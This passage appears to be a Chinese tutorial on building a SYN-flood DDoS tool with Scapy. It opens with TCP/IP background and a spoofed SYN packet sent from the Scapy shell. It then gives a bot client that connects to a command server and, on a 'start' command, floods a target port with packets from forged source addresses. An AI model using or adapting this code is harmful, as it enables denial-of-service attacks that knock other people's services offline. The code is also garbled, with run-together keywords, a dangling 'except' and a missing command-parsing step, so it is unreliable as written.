TCP/IP是一个协议族。因为TCP/IP协议包括TCP、IP、UDP、ICMP、RIP、TELNETFTP、SMTP、ARP、TFTP等许多协议,这些协议一起称为TCP/IP协议。 其中TCP全称为Transport Control Protocol, 传输控制协议。位于OSI参考模型的第4层,传输层。下图为TCP/IP对应OSI中的层以及功能介绍:
(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ sudo ./scapy INFO: Can't import matplotlib. Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). WARNING: No route found for IPv6 destination :: (no default route?) INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11) INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication. WARNING: IPython not available. Using standard Python shell instead. AutoCompletion, History are disabled. >>> pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S") >>> send(pkt) . Sent 1 packets. >>>
# -*- coding: utf-8 -*- import sys import random import socket import argparse from multiprocessing import Process from scapy.all import *
import os isWorking = False curProcess = None
# SYN flood attack defsynFlood(tgt,dPort): print('='*100) print('The syn flood is running!') print('='*100) srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet)
''' 3. 第三步 创建全部变量curProcess,用于判断是否有进程正在发起SYN泛洪攻击 循环等待接受命令,接收到的数据类型为byte型,需要对其进行解码,解码后才为字符串 ''' # Process Command defcmdHandle(sock, parser): global curProcess # TODO count = 0 while count <= 20: data = sock.recv(1024).decode('utf-8') # 接收到的数据长度为0,则跳过后续内容,重新接收; if len(data) == 0: print('The data is empty') return
''' 4. 第四步 判断命令参数解析后,是start命令还是stop命令 首先,判断当前是否有进程在运行,如果有进程判断进程是否存活 ''' # DDoS Start Command if m_cmd.lower() == 'start': # 如果当前有进程正在发起SYN泛洪攻击,我们就先结束这个进程,并清空屏幕,再启动一个进程 if curProcess != Noneand curProcess.is_alive(): # 结束进程 curProcess.terminate() curProcess = None os.system('clear') print('The synFlood is already started') p = Process(target=synFlood, args=(m_host, m_port)) p.start() curProcess = p # TODO count = count+1
# DDoS Stop Command elif m_cmd.lower() == 'stop': if curProcess.is_alive(): curProcess.terminate() os.system('clear') except: print('Failed to perform the command!')
''' 1. 第一步 创建ArgumentParser对象,设置好需要解析的命令参数 ''' defmain(): p = argparse.ArgumentParser() p.add_argument('-H', dest = 'host', type = str) p.add_argument('-p', dest = 'port', type = int) p.add_argument('-c', dest = 'cmd', type = str)
''' 2. 第二步 创建socket,连接服务器 ''' try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ## 测试用,连接本地的58868端口 s.connect(('127.0.0.1', 58868)) print('To connect server was success!') print('=' * 50) cmdHandle(s, p) except: print('The network connected failed!') print('Please restart the script!') sys.exit(0)